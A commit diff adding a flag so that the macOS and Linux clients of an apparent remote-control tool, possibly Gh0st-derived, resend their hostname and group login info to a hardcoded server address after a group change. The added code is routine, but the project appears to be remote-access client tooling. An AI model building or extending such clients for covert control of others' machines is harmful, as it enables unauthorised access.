Fix: Resend login info after group change for macOS/Linux clients
This commit is contained in:
@@ -41,6 +41,7 @@ CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "91.99.165.207", "443", CLIENT_TYPE_L
|
|||||||
|
|
||||||
// 全局状态
|
// 全局状态
|
||||||
State g_bExit = S_CLIENT_NORMAL;
|
State g_bExit = S_CLIENT_NORMAL;
|
||||||
|
static std::atomic<bool> g_needResendLogin(false); // 分组变更后需要重发登录信息
|
||||||
|
|
||||||
// 客户端 ID(V2 文件传输需要)
|
// 客户端 ID(V2 文件传输需要)
|
||||||
uint64_t g_myClientID = 0;
|
uint64_t g_myClientID = 0;
|
||||||
@@ -517,6 +518,8 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
|
|||||||
// Update global settings
|
// Update global settings
|
||||||
memset(g_SETTINGS.szGroupName, 0, sizeof(g_SETTINGS.szGroupName));
|
memset(g_SETTINGS.szGroupName, 0, sizeof(g_SETTINGS.szGroupName));
|
||||||
strncpy(g_SETTINGS.szGroupName, groupName.c_str(), sizeof(g_SETTINGS.szGroupName) - 1);
|
strncpy(g_SETTINGS.szGroupName, groupName.c_str(), sizeof(g_SETTINGS.szGroupName) - 1);
|
||||||
|
// 标记需要重发登录信息(让服务端更新分组显示)
|
||||||
|
g_needResendLogin.store(true);
|
||||||
Mprintf("** [%p] Group changed to: %s ***\n", user, groupName.c_str());
|
Mprintf("** [%p] Group changed to: %s ***\n", user, groupName.c_str());
|
||||||
} else {
|
} else {
|
||||||
Mprintf("** [%p] Received unimplemented command: %d ***\n", user, int(szBuffer[0]));
|
Mprintf("** [%p] Received unimplemented command: %d ***\n", user, int(szBuffer[0]));
|
||||||
@@ -1039,6 +1042,21 @@ int main(int argc, char* argv[])
|
|||||||
|
|
||||||
// 心跳保活循环:定时发送心跳包,服务端回复后动态更新 RTT
|
// 心跳保活循环:定时发送心跳包,服务端回复后动态更新 RTT
|
||||||
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit) {
|
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit) {
|
||||||
|
// 检查是否需要重发登录信息(分组变更后)
|
||||||
|
if (g_needResendLogin.exchange(false)) {
|
||||||
|
// 更新 szPCName(hostname/groupname 格式)
|
||||||
|
std::string grp = g_SETTINGS.szGroupName;
|
||||||
|
if (!grp.empty()) {
|
||||||
|
std::string pcNameWithGroup = std::string(hostname) + "/" + grp;
|
||||||
|
strncpy(logInfo.szPCName, pcNameWithGroup.c_str(), sizeof(logInfo.szPCName) - 1);
|
||||||
|
} else {
|
||||||
|
strncpy(logInfo.szPCName, hostname, sizeof(logInfo.szPCName) - 1);
|
||||||
|
}
|
||||||
|
logInfo.szPCName[sizeof(logInfo.szPCName) - 1] = '\0';
|
||||||
|
ClientObject->SendLoginInfo(logInfo);
|
||||||
|
Mprintf(">> Resent login info after group change\n");
|
||||||
|
}
|
||||||
|
|
||||||
// 等待心跳间隔(每秒检查一次退出条件,保证及时响应)
|
// 等待心跳间隔(每秒检查一次退出条件,保证及时响应)
|
||||||
int interval = g_heartbeatInterval > 0 ? g_heartbeatInterval : 30;
|
int interval = g_heartbeatInterval > 0 ? g_heartbeatInterval : 30;
|
||||||
for (int i = 0; i < interval; ++i) {
|
for (int i = 0; i < interval; ++i) {
|
||||||
|
|||||||
@@ -31,6 +31,7 @@
|
|||||||
|
|
||||||
// Global state
|
// Global state
|
||||||
static std::atomic<bool> g_running(true);
|
static std::atomic<bool> g_running(true);
|
||||||
|
static std::atomic<bool> g_needResendLogin(false); // 分组变更后需要重发登录信息
|
||||||
|
|
||||||
// Client ID (calculated from system info, used by ScreenHandler)
|
// Client ID (calculated from system info, used by ScreenHandler)
|
||||||
uint64_t g_myClientID = 0;
|
uint64_t g_myClientID = 0;
|
||||||
@@ -805,6 +806,8 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
|
|||||||
// Update global settings
|
// Update global settings
|
||||||
memset(g_SETTINGS.szGroupName, 0, sizeof(g_SETTINGS.szGroupName));
|
memset(g_SETTINGS.szGroupName, 0, sizeof(g_SETTINGS.szGroupName));
|
||||||
strncpy(g_SETTINGS.szGroupName, groupName.c_str(), sizeof(g_SETTINGS.szGroupName) - 1);
|
strncpy(g_SETTINGS.szGroupName, groupName.c_str(), sizeof(g_SETTINGS.szGroupName) - 1);
|
||||||
|
// 标记需要重发登录信息(让服务端更新分组显示)
|
||||||
|
g_needResendLogin.store(true);
|
||||||
Mprintf("** [%p] Group changed to: %s ***\n", user, groupName.c_str());
|
Mprintf("** [%p] Group changed to: %s ***\n", user, groupName.c_str());
|
||||||
} else {
|
} else {
|
||||||
Mprintf("** [%p] Received unimplemented command: %d ***\n", user, int(szBuffer[0]));
|
Mprintf("** [%p] Received unimplemented command: %d ***\n", user, int(szBuffer[0]));
|
||||||
@@ -914,6 +917,13 @@ int main(int argc, const char* argv[])
|
|||||||
|
|
||||||
// 心跳保活循环:定时发送心跳包,服务端回复后动态更新 RTT
|
// 心跳保活循环:定时发送心跳包,服务端回复后动态更新 RTT
|
||||||
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit) {
|
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit) {
|
||||||
|
// 检查是否需要重发登录信息(分组变更后)
|
||||||
|
if (g_needResendLogin.exchange(false)) {
|
||||||
|
fillLoginInfo(logInfo);
|
||||||
|
ClientObject->SendLoginInfo(logInfo);
|
||||||
|
Mprintf(">> Resent login info after group change\n");
|
||||||
|
}
|
||||||
|
|
||||||
// 等待心跳间隔(每秒检查一次退出条件,保证及时响应)
|
// 等待心跳间隔(每秒检查一次退出条件,保证及时响应)
|
||||||
int interval = g_heartbeatInterval > 0 ? g_heartbeatInterval : 30;
|
int interval = g_heartbeatInterval > 0 ? g_heartbeatInterval : 30;
|
||||||
for (int i = 0; i < interval; ++i) {
|
for (int i = 0; i < interval; ++i) {
|
||||||
|
|||||||
Reference in New Issue
Block a user